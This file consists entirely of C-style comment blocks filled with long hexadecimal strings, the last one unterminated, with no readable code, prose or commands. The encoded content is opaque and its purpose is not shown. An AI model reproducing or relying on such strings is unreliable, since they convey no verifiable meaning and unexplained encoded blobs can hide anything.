/*acb0665047709c1c576653816ccf08a7ffa344c8bf1b2b5764b03fdcf7d78330090cd2f43d7e0a7ee55065818058616fec72058b8730d417c5a02cbbf92fa4457ee3ea6d1b04f56b52033bd81b1e709edfb85c9f33edf9d85c389cc08e87fa37d3255b5528b579f4e35318e81c5f98d1254a6ab2d871d55cdba2066f1a26a50bf38a8aca8d4e46a8eae7733f9c73564fa75bddd8a803221960d9bd916fa33fc3504616b05c5a08576e9d745ad1e971fa1cbd29ea7dffb8c3a959cba1082745203bb69245232fe943423f35a768bd4e439aee57c5b5aa2a8342fe32c9f4cbc99645789a746459f900336daba321571c6030a1cc6cc2e3dd10b852ee0e27b16f9be220a0ba99394f426b4033974ac5bd05ba59ed2dc65ed57bf8f4ea444339c2c543012ff4de0a98d67bf2cfa1a1ebdbea649eda92f55043b13ed5e870e0a5d46e1a651c89b43514785329af5a8af01420289fbb71a84d28999af1f4f8ae8cbf1fde48f5ce8f8ba9cbfbfa57eaf869e302d220370ae4adc421d8d0759c7a751b45b5d36ed5037e2a84680371ecd9394f56fe5779257a1ee8bbd5fafe80d26934b273a09ebde2044c4983df3af1efbc94516d77d8948176ebd95ce48ea5da245aa1ee88fe2a974262aff1af8d87e56cb6e69c401bd11e8e9f9f02f55ebf9b294944cd9984c1d6ea6f71a3ff9a45f9cc3906c7d824d28bd653f1b0b199567be9168fbcd2851092804c4d216360d55c100eb84d04b6f417d10ca2b75af2563b6d9411c648baef0511894463c96e5da0daba2463c770fb792836f0ece27f3c89b043fd1607f459bda889aefd09c4d201bc5e0a6e507fcab277df95e5ad25271ce6f77d9e69764ebe439311a263b78e4cb991b57598e3f90cec1954f54f525424d02c26d40b9b4c36f16bb666efaf4bfdcce2754101ceb39176a81ef1406378b460ae50daf473b008c0679b770c35950ef255b2ed3d47e16ac2a250f41a446168d53f89d78e29e48de0bdba3be2e726f0a5456bfad1bd1484ba8fc4dc2de0c2c874aa2a7b674bc39e7442d1569fd78005c7e39e13775693bd16f88cc0c4c10d8e5229501fa87ca1e027927125167dd3b8818c95b6fcfa0bd2b2dcfb2cfdb307480738f05145c361df102cce774625d7a62f5000f8efeb7fd8f36877d5392463f64aeb820d018c15ccc01a12bec52161d1625da33bbf2b73d749fca964e5f6531659cda841ad3248758273f08537b760e90c4fa2b76a878aac90a2e60e3dcb5f0537c36d2728c1e339c4bf1258b76a966336a41f42a20b654848d9a7ef03dce41abec426b9225c4e00aab8fbcf5713906270939dcbaea02d1ed129e4701b8395dbf97495ace718b982e156640f82bed1653b4e543610da31599c1fefb8f24d725f3113f79b97bba95dbe121b32217d9f7d18c972fba749388fecbed3d48c41c70bb7a675dd702d23cbad403981578103c3569648ae01908dea00875e3ce85b683d64f3d54326c5563dcc6bb6d514e4ad196a9588062c7f7f56364e3669aeeb9a9da7f057b7e8ec0c94d9fb56fb17a8f25796ca763b046ec03894a1bcd782700ee834a6bc939c033a5c74b4eb2ea66fe50bbaca6290a4a2278472cb6d6d4a9e41cd69f57032d9298b793a2cd573e1f0e2bb6daedb9e2005788df63443fe95cfd585e207686dc92a9ff85702cd8dbbd3504ca720293e5d7a0f13c3ad02b1727651d321872a8fdbbdf3aa7c2c274bff2ec0e7e87c359441b0e9e658f278e53bf028e6df83908f9e2ec6151282e9d9f5326922d3545a1acbdd86571ba92d8ddf0396d2502082c55adba0c04275cc1b8b2f4e76dfe41d5e7d994fafe6e095202cafcd285618e348e2cd29756bb853af0795ed4cde003e0bf78884d17d6913c0e36b17d8d3543fad47944f9281f684bc2c41c94e7ba18c37fe365fa7e6da6d7db0b29222075dfa266c39acd0667c7d7bff524f0a1a5c2c3adb667ac7267cc233a53d9a3c47a8f126c1ee707ae6f3a04a7dd1038e5d39f936dbd025edf47b319a3ec709c56b58a4747021a8cc98bc4f7e7cdda4447229b7bfe79fb2d7c6e2e10f69d9ac58dfa8af1e5cf29e7bf207b0bc760785fa79b5d6937e54bde19049b23f208073e4959dfa1568d96adf6929f19a6c2d789edd520d5f7f87c4f2996b7d2ef4eb835b1bc364e179ec905848e5aec45719f1a927a7fbe0ae0d05b1465e22b09b721c403eafe3cb92649eb9b749a331c136b47cac2d356610f3c80ef4e3fc777591e3fc9b91b641e2e3bb620d84a346020a538376ac5f69c94db0691d691688c08c7fedb84bd81e7bb815f67ca1b6446fa33debe03137cd35712a2111bc94762849e7d94da7a3f71bcad49fd68643c9be85f516a6fd6a7cadd1d1583104953ddeef6253ebf8d0038e9c7937248ad5061ed1bb486a022d7555b2ea091e198aa80be0f82d8003aad4900e02c853d9a1bb46cafee5b634cadbf2134fd8cfc65468e60df4716f9f53faefbf2c5909c4f60344c356ae4cc8e85d43941d5507794158e1c5b3037ecfdda169a71083483a93b8a248a82e2d91517a973fabe79644d3a436664cd3d649b500bbc3afee4a66213e7b91fa58ea5763a3bb98a453958eef555cb9d07c351395fa97d6c92cef1e831086c9c960a1d9527bf5a35b8f8ef89dee1afebd51d667f521be9885db1a51cd46cb779801c96be5c9955b889e43c76247e14e4ece487554c09c5ac83c57d2596541c41fcba30b753397c60847917d7d461016a475b682b19be74cb48bec330fdd6eed9aabfd8a999c3ad42b9668166bc06d16dbfaf6b806ca9b05ecdf44610e5b4fd206716567a0*/
/*8ba42f8f4639d93eef126a609ec3e1725787cf0c52246a8b3c196f1d0a2903a41979b1f55e74ee9f7608ca8f76021c7869d1773b419cd16af3b8daf7a154e5c48fac1db46756f6eae2684f71a9c9752852ff1c52ea4cbf1b5c11951d9a510c5affd9d1434088c52d6779da4e7b7fb510177148f508591c2b82fe911a04f05ed85b30e1ac64494582094bd42b7a03e099a0b9e97ed9a867b1467bb4d95a8a04314eb7bbd860c53494148270849e9adf37001e757a4c0fa12cf0a5426b99e061df26806638f4849197d56007b1a9d6485a4e8893204a4d12ab323d6cfc97fad1bc73a904bd7c5a6eeb6aa75b63ac900ea6d9114eac679dc60b09052baff975fac74da9dbb74e96586db1611531514e7642028157af8677e42ef04ed00946b4b74ac7e00e6c7d14e431e5b8f03d112e9905c35ae7991a90adcdbdcdb45cb4c202f9ded7d6741452ebe189917386e92ae5c60c1f6e85532fbc0e4ff8efe1b55cfdf7074395d3e60e7c94303fc6e5acc7d282b650dab6776cb0f6f1c1d453231945d643cbf4b7db1df5fa05e8d276c4cee969f2afbf12df1ada558a9bbf1d247736e4e1e182146f1abed4f8ed00c7e8765d073efa196b75a82ebabc26cc3c3e5bfe9e572711b38db4ffd4760d54dea1cddac4d263e8b0b2fe44cda0d569a19360f1e015be960cb17d51fd1531f50bcb75f18af3bf26a2bb86f94e469cd323cad83bccfbef3c49126779e6366d3e513fe26e769a5fbcbe8d767fd4771ee039d43111712c5b3d8cc5890767319a3ff686241da6669cad07c8aec8701fccad58f36e527b6af6b4f13c0d68e5f22be1a131b60bf0428bf8366915bcf08a1bba650978f373edc7f50c1c5611d88c5a23f46bf608cec68a6c0bc3cf6293cd620f7cfc0e644afda0fd0615f1c3d1c0bf7b4b9ba56507e43255a8e29db9d0d848e907776ec72883674a0bb5f09c7b9f605ede062957685ef34cc9fd647607698397b2b8c0f197e95721e18709e332c0e5a1bd8f29971e4e767cfa4df833939524c8d5ade0e77bc4ea21dcc6f2eaa1494a1ae7658e0fa47bb667fcae5c6e8c89c88ce665bf4de2574bbecf5f3b90d7bca7e41ba378f9f3997eaca8dd4f0665dc5e0293ff3bf7774036284c9d461ab5e896771c26f8094c2ad1d406c95ea26d7fdbe3ec09655745182053e0199d391d7f2f6895e55fce299333b0baea3e89fcd7b2be298ed6663f132c6496d195fead4568a17de3a579cdfa73ec83ba3edf8b88cc87575ff991201f1b4e06f59f1ef37e59c17453de21ec369621aca5482736bfedb39c5fcf3a2aeb14137bbd531d076452e95169a30046eb14e37fe6cb8d783be42e8ad666f3eacb495d34ad8243ec020b4ed276c38c0e377cfbddaabd47f23e97bb3e3ac2e94997727bceecf798a017ccab1c3ae9e3153c067fdada8d7eb4f7fe08ef723e28e5e9dab9bc18bf73b35749eee83d796bb211fb91dbe16246dc24b0e7061fe3af205d744d6a242c5c841e14f081fee4b3e4cfe684d8194f55bbb3af7d1579db1c4b971cb42bcb65cedea27a6f5fb5a431b9877e30f5e8339d4ef661f37735d5e0892f5b65010c0a2939eec1edd679e8b680e6d2889c71765da0df562d2fa2e05fd0a4686d27eea6e6295166e2303697982a0bc5aa320df588c01bca21bccf889a2068d843aa18b811e0aff75d2f1e3d68dd207f63318342484c932c0a792a2ff955edd3db03887bc7bba4660e50b41d2e19768b79bd25d8824b4fdc5186f7314e69185a27960f3b80b331276f6e14c302de5a02dae33697ace2b8044300681a76927c46b434ef95ece1d38611ea5242cf4808e7b3cef0ecaf5d0b41a2004d5b1f1977b486d6ae78948b1bb247098b722f5a8c877c934b456ee2373afec89220f4bee475b4497ec760fc4640482bdd47617fdfc6de0cffc25b68ba283389e1e27c70ac18b76738a72dfe44284402ee83ae40d11174ac5ac03c6b4be743b9cbfc7fb03402425d56a076f0f3bc273608e3f5171679fe93a57acbabb40105ca506c3c5840652bc3d1657855701a1a87e4403eb91f046b99f89b8e187bb97e75d117fd9de2da1ac7fcc9f1a12f4ff7201b1c47793d1bca6060ba78747a9ef52259c2b42ae2c264af53ceb99bb41ceb4c626abca730dfbca4380c40dce6abd321f99d65adf362cc1c24923280f968adccfacfdca94d43d1b392eb3e64eca26e16e61fb6f07f396bc769cf58ab761c417a122b9e00733080da0d9b8e8fcb60b80c30bf20885fc94a53c189d677c48d1ae962c9eafcf40ae77c2c16059164d20d04dc284bad02cb79e0e4d8662391bd4159bac8ffa86cf5b6ed7410c4037c886cb2146c4affe9ede2191d49c9be4e939af770de3f9a6b4333126df608f4dfe06ab7b69ada836a1cdfe268a35dba2e5fd68ec2ef0f01fd398fb12cee23cce872fd6e3cc6387117fd124303352b45156d7f0984574a4782a20483c7540e8c9697775f48ce888f716a0c134ea9cd42221a7dcc5c1c2ad41a84e5a21cf78594212ea316bc9bae298c3bea80a0619541f82944bf3baef9bff241c1b483fd57277fc62567a049a5991a45a3d44c5fede75adf0855895a163654cb4309559aa66422a70ec59edfa1505982db9c7bea28c0f707354d2bc48e7b16235618bd94359cdce558b38981207092e3f604c68f15691063510f8d0ffafb2bbb8a7b4a74bd6571c4198f665f3866325e7f557311a9a3755bf9358e131f7068da570067077d7bf2c50e251e25a1dc539c4b81d0bcf6b4163660f15cbcb3b92d85c25bf0c5fd84cccda9f8e86ec8f56772e404d42c072dbe99e6c548cf94b6*/
/*6c521419672ae3603dc368560229e3e00dbcb2ca6db29bf6fc2f92e75ef43c3856ac491b98f93a8b1ac15f52dd732c058181161b7aef9035ed1907792d1a0a7fff05ae258748339d23dbd0c0fec3a705297ca41cea6e2878d0badfb93fa00d9908b8ac9c2456500f32ecfdafeb94c50ca45a24256e3d3b2b1be30cccc589f01bcaa31f753d33620246f2aa72036a8d0e778882f1dc6b9ea60bafdbbb7288a924e3291dcd8bc61cc1522d6ebe4bd217ce90768e88af996f6224efe6b7ea5c020d490cb192c4512a36f2ba7f28d87b67e0f73e0e0041363bc2d543cca9e6688562d6c61eac9d3e25bb6512a51495d96175d306fa2be026d1d57702660e5a6375c1c3e148cd0db36d0d8cecdae2c8f0e94a3d93880c87b33166b51122101d1abed01003a6c76497adeb49b7cf77471e7d4bc92a1c96ff868b976adf439cf1971a9532c072bd17fa0012b718ee32df3aec6daecbfad6513208824943970339f139bb7a8c141d6bd2667b66d4d1c334d345392952584477f8abaae5c7e1c874f3ccfb31f75fb813cc65a0dd54e2f9b74a7d7e65b479b65c67579f5edec0e14eff845d1ce61808e29e9f381823db03597a2b1e8fd6e6271683e1ca5278365549361da52beedd40766bc5e5f6cc37f845bddf32aa6e7bf9e3c940f07901e0bf100037c77fdc602acd925b71f7105f4df4c61c9ce4fc8c7bc031e30f4112e45c5e614a396d9fd37289befc973f8accd0132646aa0d5eb5966b95f62dd674d2929520d7d5a78bfaa7d64441a3912e54477adce1fc819f1b2947b5b3776928227591eac1dd2a025e216c8823e0f40f65946afde377220ff6fc2b7f4ebf06c48edf29e0d97969846d7ea5968ed04c561337ceaecae205851f76f07a43cbd03b933ff7585aba49887411a6cce4b1508b0cd7fd4ceb386782991fe87411ead260369824dada29552a83f72874e2674b07dfd072078857495da5151a1f59152d91bc2c542b50bd402fa58f79a945f5f1655a7038abd23070ff6698a057f12251698c967722e960a3d2ee8df6641f09e109bd575127ddff37703f612e184993c53fe00cab73093666820239b759bd419ca615db833eca68abc9813714a5cb8e9082efe28313e03e2d7f27a2e7d4c0c89f7d5514402ceb71fce57fcfaaef920648d00dc5cdb8df03d5273ee5a7cc432eef215d48792dc2fe655b05da766307459d37c0103ebe6a9aa10682a1ddd1383579f1f69696d662aa0d9bc5606324c6e3fe7e8117e104aa84d94af2ff18263336703fafeb2d8366bf3385cee2ddc4b7afe416ffdea21b529385da73304139c06ce916df1fc11878fca9ea87d3bae06cad53cd42435f1fba258ac6286be9abf4109cabdea60299d0f39840de091cd82c175076600d042d79da9c14b9871e34407b60993f5d44139f3b67a65a9922bb9d379dacaf2f8fc6e15c81032366f797c70419bd8386ae576b497bb53b85976cbfbfe9bd110c590ee6ebbecc73c2bd03102a62f1f580c517062a7b6b7bf05acfd8028f4a8507f091601a339de09bac829c3b3402d7ea0fe34cc78e8d4c3007a868b9a614ef57b6f4308144b6f31e3e018d3e740a3326cfb4bd6d1aa0a04b03d7236d84aa1b2796e133796a8fd4100ac2ce0f75f8e134002d49016785e1ee78611d80bdacec59cfbd883986b74eb580e8219bae49c08b0e02c0a97a0fdd573089fd4b3770f18ba11c37d47dbf9b94059ec4c81da5f51b8eaee15b644af7cff9c4a4370c203b5bd7299af85cef37cec46814d928ca804e66a45a1e4e414c5fcea4eac5d5b3b463c9e4fa8adeb7896570fa5930762875e701dd26c52c6a5c003884dc910e61a026f7a2c14908efdf1544058e69d232f47f50a843e86325cc898551bd7a0609915fd992c534da03902e104c82c6d753a760bc8cded1d14a1f727e3e50241ba7951c0e65bb4c8a8a356391dbf21f32ce7d1660d015e383f88a7d6e8e0d1755986726e2812aca391abf612958e98c5947e095307381ba1ab0f60fad4b4b3772ad1c4832e385d78716366a70cfdad1f655b1deda3c25bfeeefe3f379e31ada66c1691c2ba90d4a1e3a711de19871fc9e15ecc37bb0e9926c4869c53d6197c8fb9d1ab23b554162c84584153e7f2d309e04edd34062dd4e5ea52cc2023ebc0802c468f16d3981c3c9f8f7351b4244f9f2392f2baf6b7f62c5025b7d41c5680c1d86f33672c345070ca905edf470ee47bb8647d08c298cf6ea27def02d07bd385a620a29aac19e31d432266a5875d26ae07108d83e0ae34870f71da2f8eee82e761654b383f082f38419358d483a47276708d406fb30b2f96128165bbebfd4a8c66e3ea5f4a9d2390bc667e7f28162de320a4489b92449f58e292befca402948ce4ea655e80596f1b639b6c6a5731751821d930f0c67604d3d486cdf7bad2777bc06c84fe1b10d5ef967c9ccf668dc4018344d972d3f2a7914cfcdeaf706aef42b3540f722e82a3cb00f7e39b759d6af839bb6eb5f33d3a6f494f723947f0aacf90a2fd4294f958619389d8051c8ddcd6e3a3e2b69f085ba4df3fb361441f87542d119f148b5b28c8214d10d30eee252268e8a2cc39e8930cd4589ef208f47ae9c6e128df351a82c99d52296d44c82982a36aed0d7bcf45a8e7406357f8e447ebc4e92d36bd36ee5dbe389a5a56ccbb34915ac14823674dbfc39de2fef76317a9a54a4e8f542c1fca46500099890fa3a9be9b0448a9ff03a30548137e674df5df538091dad85ef7344228b0ecaf1e672c369b80d922ffa3dd8628e52ab2b8e05e879aabfde68b84e4cf28ad0cb956888130680f5d6191dab*/
/*283e59b13241837ad1265515c8bf04289759172c4a44bee2adfebf5cca3e0a813a46d082d1b2420a1725913e07f4176a05178255431ce6a4a76134b097269eb7bc4f06b3e20f046a58e183a8ac02262810e3f08b521fb52853bef935a2ad4cc2bd3b8a50b1a9cb751500f5913606fa2d8d93ba8278ad7612d2d0ff449f3d5aab2c56914bdf7e97f0a7070305e9b64279e857cb5838766bb0acc4aff665fe9b4c7f7befaa225025d75347ec88eee36c7de67240f6888748d9bf25b7908b2a060e2a5bf0df7bd8e432ad19bf2026050a5531570a9f9040af28ca553cb06e082e9b540d2b42628789411c3eb23cdf4dc1f8fb3dbf3b5924e20cf8cc04f9b0325c2ae451f45ad657bf7c606e43e73498807732e6703477290c921522f01f2164aa50dc3ebe8d6240b5c8fc1700e41d04cadedb2d418a7e4e223620453c46ba12cea7b3e2617cda71fc4c3a4ee9f3288c8fc3f0cc7a136955081277178282e8031eca9214a7ccc0ed67df90856512e3c7a1e50d22dae945d943c6f34352653eea1743562149366ade688d200daf6f958e9c69e6218fd21e2397dfb317efefe17fd5aa36b6628d7f046fdb84bfb699490ce75566c8fbde3b296be56382d0f836a96c2644f34c9d5ebf6d4e1455dd784d845bedaf291c393041f09b2bda3350bd16773e2129651000d35170ece5d6ae334c5953bd37849109ba9e54a91ac313864b072f1075ab69910bcac533a459298be023caa1d8278f9629a5a7d2687b1a01abcff65e9978f858e630e97a2a06df857011ca3784250ccc26f9877bc46ff1d9ec3439294b89f4e9a8346890e095fac710bea13854d3e8ca4356cea58a0eadd643d110f82994eeda7d7be3f76a1b7ea1835de44feda66977e1659889368fa4b523e7937e4e2beac161cb3941f8a28da9c53db01ed390315372aa6be190971aca2d282053cef13b44a2ac8193a63d62d33df537411173a650805721ca34a2bddfba7eb5959581b6cb6433bcfff630ba6cd020e1122b306c7686a2f7dc156cf8a9c582c849b64efaf597a7516ca8fc6dee3254d8ede7b1c5afc01156120743084b90d6382c4e23218f5faeb37dff9c4bd1c3e9c2fdb51972f7b0c06c086103aa3ee70ed888dbdee7bd8c0c6eb74ce21d8392daf0d261c91bf21c2571663f677402db353bc74096ab2c25de2c12317a4fcb404938edd455b0af1fa37b629eae453e36ec0b096ce1d969834365d5c4cae639626b46d7778f4c0746d50b1a2e154bdc0e7e5c8f15f6e24024d353b32ba05ac7dcdfb037214b9abc1b18eab74484091bc431c05de1a60f4331f3b719f7df247023b5a590ebf4bcc2cb0b5fffe55ef061860ff488110caa9430c1c60d574f9650170168d493c839df1788be465323b2e523cd19c0c4b76cd0c5a2442364f99267794a768335c2d4fd29a374bd78438ea85c6969e6381dc0d0a4c0a8edcb37d5b1a3b7f190ffc12eed6fce1f18a5b565a2cab8925c6bd8c843d52ff4f41fa4bf1afeca7debf37b3bfdb28d3327316adefb851064eb876b82064c27c5741afaedabb26cac85babf6794db359ee83b0cae4ea520abddf515aaa0ca4ec152e1eeae219522eb80c96cdec148bf4c1499fdb438aa83a02f8ac95ad884c628fc304ea64f26867af24eb8d9a390caa25c42d8ec9afda31d9db1e2bf311614c7e7ca15b2ca687fa5d507cd5f512e7900ce4796a90c94f5bfdca3f753d052b497e7d99f47695ad56eec4183c23ee4e55d3afb49defc6e868fc8a8e8a03fd85a0856804254f247d5dc0964662fb7cc2a2b26249a1bd13c6b89373e1cf539526694d3278ad42110005f7a6eee4fe7ed72e34da5330096a9448c440a2d6e06f810436cd054b8eddfce8792c3645bc2296057fd1cf3ee6ee780f5d470471ec2b282a82a7ccce1cba4ed124a1864486718d195f0a8fa62f6c5f57a970b982508fcb5289fbe3e991f9c5cad704e17ee4bfcfa86541adfc44a6680aa94c6ac8816b3feb6f44ef3efad614d7cf2b0842eaa3d511bb0f1b24a90543d952186a4a0f79d8210ab3a57e1971b5ca5a14bfa29c64e37adca817ff130e10f335ec9e07b34d449bbfce593d3984e6be1b57f523571b28c890a2a69c2b6a1d9649c9ff8255bd40fb919dd04d571e5e402409b6b6de75001af360d68f9afcbe5505b761eb9ab1896209b038be6e898dbae4610f6cbbdb7e0d71e2fce87b593ba74c12fcb9055067a077e2936c66fbd857d62c886e358c0e654c907c3661f517b908dcbbb5c13d53ff7100f4368d0fddc7525a54cef050288c94338dd010600dcd344395e391fc1916ee6c91b212a39dc3e7df39bd8bcd30454735b33ffa7fcc5640758175b1db1261d69015127bf7e8e87a296cacd1def28144884f1e66280e8157e417ab7b61e627ec65bd65e952a97c69da1a9a81dd1aa1594b4ce20d038161cfffdc41c3e9c37c1ae9682e066cc7fdcb5635fabad224660e45c65769aad3a7c489d476f3b659f5c678f53a7fb5d97b1c82e55b4baf70443c080beab102bd88f5d8f109481d0c53ffbde6fa8a268b73889cebd09a46ba12dddba94bc18c1ff94e9591d2c3bc09f3e5016c821a1c862a8f45e03ba85e6dcf1f173048b3bf78c92fd6b29768d40d9ab799ec92a7dc1c51befba070116aedfc2a6b91f2fd15dfe80a8398dc8969ffb4830094bca2026a23f2e38271f7dea9998217a9a50ee2f03e0b923c530b789fcda6d2c9e94f1cbec8e510172e60933563fbd0e4bee6c68a4067737b8333a1dfa0cfcacbf6d068c3c5cf30d4f53a68da2a18436d5c685f753dfd43958cfba0e17995b8f9caec457bfe8*/
/*9a93fe230e827112c6670db64bf0a04fdd1fb3042ec78e2b3219c91e12a0cb385ba1df5c2663447bbe7ea384643814d5055742b71630c4cbc3b38be6a9ab1947b2ec60e17279feab2324a0aed6c3db0f0f276d44e9a2e6e51f5afcee2267e6f126bd967bfb63ed65261041cc72e962303df856d05e0952bd5b4c2679e955f7616bd2fca7cc35b373b821fa14dbe5ed2f4487d50c8c7fbf093e52133c34adfbd08fb172c350de0086fa1e27d41fff6707dcadf54c64999ee0d757ed0cf18f4f72a9ae8880641efd1f5e5646f5e16d194f7a6576f6fdbf46b5afed2e8004d496574d971a6938b3d2f212313a0b4c1a093b22541294ff8654cffb293f0b51d9df810b0f218649e4b14d01913c01c738479b99a799ffe06f7bdbaca1802e724439a4679785b9459bce9472671c7cced62fb70e6f861bee802d68f472f68cd177d01bcdb8a559f92f9cb0685dc642786c15e5f45066121e0ae3ab799f837fe6d34847e064f8b8a5f01de0fff1db5ce412fcbc1effe480adb94158dba12116bcc5879d4edb6ce3daabf71214a60e4dca417ac13e1e350345dc02cdf4bd9e34f611a897492c78c491cc7d7b6e8027d4c6a13f981efaa8cd0bf7d54487e97746ced715be17a8b5f985dc2f6a9167dd818e92cc1940a286c2da30e9625773c58698628594d87b9bd06763f0a802b708521bce26e45881aa9f354dc8108ca11858eecb939f05e631a531beab404cd4e943a49b92066291a8a4a9da6a40d83c1275ce989afcb5b26cc37e7a7cfd31a8abd406aa71404a34075da377aa9207f4060ef99d155813813490d74538a87aa60ae747ad0f1e02d76a0888b65b912dc4b6c73640bdf23776c22713b0da2c5d5255efccfa6899fa7f7397f89e0b95865f2db3321cdd41733abc15912c819eda565b6eafd43d706b66ec72fefcd68eb25a65e3965acd06ea05cd47e4c039abae07e1f6f6ca1bdb80b16717155766f2ab349d17c5d749c5cff6ea9c2d4fdc64c6ff3161833b892520a90e647ab6bcde39e703ecd840bdff07d5cbca09578c1ac5e42e5d9e856c3c4e72cf168b30461625c22751496692f98231f5626ec6897a33990815b7a249aa14489be227d5c019cc365ea9acee6d2f4f2933f0486f1abf6da4c3eb82711684d4098345ff00d2225f4cd79206ce2234d83fa9047b75c0cde1cdd1c110066868dfea9f4bd0e06927ce0601698709203990cd08af7f484e3bc076557af2f0449c35844b6b7e781889ecd0afa4209235b05e41eeffdec0c67875acdb4399529fdd1d52e3bb41f3666c317ba45cb5d790ea22ba6951b96a2b93aa59f7bb3eefb808cff24b7e01853b93327cc97b24d77845bc6b78f771b4007620fcee29e0e1a907b2a6f4e1e020976282d247c624c8fa10957d8e2038fba61a9c57b65b0a65da9686ed221db94d1ce12eba36bb583ab068ab19177c7157a7d848d0bb212da1f526395919c63267c2d5ad97d5da77cd28dba1e8e1bceb4fc979ea617d7ba45e337808cce0ce8aa0be59eeca3ec1624810ab7b666dad8e64d4ec2d8a9ed2e48aaf53779f5e823ab4e6d065aacdce4235997aa4f0fafa4407fadffcba516830778f646d0a4ed038b7f4787599f0a0ce59f1d2eb964684f4aff46cc70b4b5ab50d5c0fdd19213a79b6fff63efff9d721c7cb927f0398b71c32acc3efb9c93767ffaf98838d0b19a018f22a11c250aef2218aacad302b978f44e8a77b475dc6cce994513991f15a985d95d5abd2a67ffd7bd4fe9acc15a22a03e4e77054195f3497e7ead0743804ab51397825647f87ccc6da3964eb705d0b8f58b3407c28d8d4ca90c655c03af89a359678c1fb81f08a132162e0103a39b378bdea7fc136abced7db93822881c5134177e1bea1b6b088dcda326fee63d8ad640f6aa3453d32d990b7e21ab2814dde8f337c53e6c7befb892c2244a8332c3e04aa9f92a3aae4424ba85cd1052bbfe228e8dbff5393738deac962c9ab8dd82a1b986949fadc3a0a0dfb30698dee01c659fc6f834929aba5ad17c5fedbcd383ca0447c083efb2d099ff36d82cc22a5c9c5224a198510adc2160ba03ca0d578151b33fc7ddda2a1c13d3c6de7474a4aa43bd763c66b601f8296a42db6ed203b1d0966eb18d49d83023b42c5e40448a33bf33151b3141fc56a3d40694faf72da00185a8240ceb5b9ff3354eeeb5b512afd4d3dc9b915b357f73f32a930bf11d410689b073fc90190c3401d55b26937ae597daf18db53f990d8eadd3c88ae94a986fc10e148e21ffead971dc224c313bdbfce8d2b876f814e7cbc2cf077535262f079df28f9c3c5c8bfe0bea62806bb7e040c80f5e348244a17384a64f7e11ed4c76df249a6e6dddc9ab6e0a7c4b2f127c9d15b1be1d5e2c14ad835ba638d8a90659030c37c54e8dcf8a5e4ba1b8b1b56e4cd1cffb58785c091dbcd914221824753d3b6a9bbb6e4fa7f02235a3f22cc65951788430ca556f05b0552395e4d87bd754602550ba09c8e090645e9638bd9efb4c12a1e0c967ba621d8274e955f2040c4c6910ede4dce06845826cb01f5b623609fe9aa0fefc85ece7aa36448827cfb380ceb63949065fa526906758cda8f49fa374be37df93403453f1d7ec445bebca29034f13c5dfa699d4900a2a2d8b658aeebbefbaf68ecedfae499ac85168509ef3b9918d4404203aa9085d11c162c4e6aec5f4f7a99a3d9dc3074e465339bb58b0cbf653abce1f9e84972c1a290126dc6cdf52cdd08e00c63a27586263643c6c7e9ff1afed242e0758431a9bb870699374b073e30d6a1bffdc009a509a532533bf9a020f15da99a49ea5ed2*/
/*cef24a96316c08bde704d72161d5ec277edb2a56407121fa08b0d8fe1569930fb59af8276c9e71d8926d049a5a65687aec8ea6bff953c6f4613af22e4513fe241f6ea31a46f2a0c7afd1b6b91f18eeb46f01a4af97b377a9a6e677fd22a6bd4811a9c9667a68be3dd87ed7c0ddbf6065fd59d96fb6950e43499a12f60bf19aacbdad244afe890da2925004a34ee328b79d982bf00f3949422e160fb777036bdb0e97949c2354fe29573edbe3457b4e9ef17a317ab130b682369fe80fd51de4635dfc5305fbfb5502bc66df16a904e2f1a7f7e16517f785afc3d5ca24ff3d8487eae051fb17d641223afedc6e75105a5761e7a87916c0725261ebdf3a3745c89a32298ab4aecc66d08539bc8a958e08b99747cbb5736857a0c9591cce5c4638a992a77f8a3a5af8b3e4e418e2131bd84c48debdf8498bd8136df345cdb143bc67f7d43a9103ddf55d8a63a058aa77e5f07e68cd2f99af4d478f25f8f49176240164c30e8346d6909a3d2191c13da2991195ce16959cce5baf33e5668c6b8bd93e39d8e2bb71953e6124556ef39cc6d435d960053b9120379a90e197a9e8a5681541e25f4dc84332d90a19d6e9144e1267aac9523ddfc32a730e2c6792e3c8976f34a0a76eac01323380ea6c1c911f267713d6ba00a6d379c71097efe8c1d318e825a9ccba308938e51e2c29646925b0732cf9b507daf6178bb6038222382f7aebb7b6e2fe1e6991e48578136c151089d63ff1c412c9830a349af50af4a4de05cecdb5fbdb527205b3c23230257ed1501f86cdda26076c0ce9151542de7782305715cd0ed6d61856025d5c66d5aefc0ab3bbc5097a129f8e18c9f4ba571ff3da044cab30d123be8e30def07026c25e1eeca5779e1e923b5bcc7cec259e9520a6a98c1520fbdd089adc895053dcfbd1e97344b78830452e1c60697b5b9b4b4b90b744d57dc899c20e011ad5651cd059d7542c4b870e34e8a6bbaae5addd7817d2f22397519fe5b5c10f609b17f96c61c1c94b06da452ba1a6a57ef98127cfba13b50ab1854ecc6d08db50978be07935809492f1b28a3049eea35ef13533278228aa0736422364565861517ba1d198517e0ec69d508630cbc131898e79359f3493c46a904aac0dec461bf1dcd4cec8ac0cb56a28ef87c10a5a1a417f35aa9eefe0177fa9ff3360ba3ff668dc26c59fdbe52a22f032be0c0cebdb62cdaeafd6caca259df3085432984c830f797bb3d3b5f95614c40cc8b707778cef7580e139bf32bb5a2b6fb92c0c557ae77c3d5eb6771d0fb989b5d6ea0375a8f4ae86e8f70bb21122c43f374b06068feda0436be2de5083b59395b77b265083bb9095e7b64ed039d8022e2bbe89f26a922e25c6c44facb1b5608aa32eef686dd9ab85c4594d8d43600023ebcf32d8495459f40cda0b2229e4f5f08c756375e3ff409abae46790dd6e05bd23f8f224703ea80f7128e2c6cc66e3390a9f6a23177374ee44c600cf69d8d3f28b9178d685c7327505352f19f791a5896f3d21ca8def0b425b40c9609157aeb35f53830fd3c72b7d98d8544aa76f205cb5dedd7303312ed2f14855238eddc6a15175b203f7d4b9820688781c922bf2862012b00b5b8583f64f654bb86eb315bce03d9765e8ce584583c8e96e5cc8628b57ebc0144a1839a87d8d583bb02d74bace983b6e7a2f0a6e643f622eaabd3d2d01d3bdcb450ebb8439aba6e967f4242ac679d4d1873a9a53d849db2ac35bca22201b261ef5c2d89c76ae7a68734c14b8052d1f70adb278c847397be0c6c1427b0a91daa407a5f1ca34a707df4455eddb6e103cc3ce06cb850e675915d1f5544e58f7188ac5de988a99cba6987f244d51e2655ff109be7d08fad78e805a49fb3ca4ea75f05e6515a92c55f24e8b0d2547eb5e437b8701be7411c0ee93eb6783a9cbb5290c8484a3d9819b9868858b42f1ac7487acd63a908ebacdbbd039f70447da7210ab5901fd06af51d28c0289881e68e5a71555b75162e60a9d398ed0a1ff47dd9250471215eca330e77977be321c63db106737bc0c7a5bb8e821ed2edf94156bcf7537a214dc63aee2e3a1febb91be22df58aa